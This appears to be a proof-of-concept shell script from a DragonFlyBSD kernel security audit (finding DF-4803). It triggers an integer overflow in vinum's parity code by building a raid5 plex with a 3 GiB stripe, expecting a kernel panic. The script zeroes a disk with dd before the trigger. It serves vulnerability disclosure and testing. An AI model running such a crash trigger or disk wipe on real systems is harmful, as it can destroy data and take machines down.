⬢ DragonFlyBSD Kernel Audit
DF-4803 / run_vbd1.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-4803 probe: parityops/parityrebuild integer overflow via huge stripesize.
#
# parityops() computes (vinumrevive.c:274-275):
#     size = imin(DEFAULT_REVIVE_BLOCKSIZE, plex->stripesize << DEV_BSHIFT);
# `stripesize` is in sectors (int); for a stripesize >= 2 GiB the shift
# overflows int.  3 GiB (6291456 sectors) wraps to 0xC0000000 (negative),
# imin picks it, and parityrebuild() derives Malloc sizes from it.
#
# Expect (stock, if the arithmetic lands as analyzed): kernel panic or
# wild allocation from `vinum checkparity`/`rebuildparity` on a legal
# config string ("plex org raid5 3g").
date
kldunload vinum 2>/dev/null; sleep 1
kldload vinum >/dev/null 2>&1
dd if=/dev/zero of=/dev/vbd1 bs=1m count=512 >/dev/null 2>&1
gpt create -f vbd1 >/dev/null 2>&1
gpt add -t vinum -s 65536 vbd1 >/dev/null 2>&1
gpt add -t vinum -s 65536 vbd1 >/dev/null 2>&1
ls /dev/vbd1*
printf "drive d1 device /dev/vbd1s0\ndrive d2 device /dev/vbd1s1\nvolume rv\n plex org raid5 3g\n  sd length 2m drive d1\n  sd length 2m drive d2\n  sd length 2m driveoffset 4361s drive d2\n" > /tmp/vc3g.txt
vinum create -f /tmp/vc3g.txt
vinum list | tr -d "\r" | grep -E "^P "
for o in rv.p0.s0 rv.p0.s1 rv.p0.s2 rv.p0 rv; do
  vinum setstate -f up $o >/dev/null 2>&1
done
sleep 1
echo "== state =="
vinum list | tr -d "\r" | grep -E "^P |^S "
echo "== checkparity on the 3g-stripe plex (t=0) =="
date
timeout 20 vinum checkparity rv.p0; echo "checkparity rc=$?"
date
echo "== rebuildparity on the 3g-stripe plex =="
timeout 20 vinum rebuildparity rv.p0; echo "rebuildparity rc=$?"
date
echo "SURVIVED"
dmesg | tail -5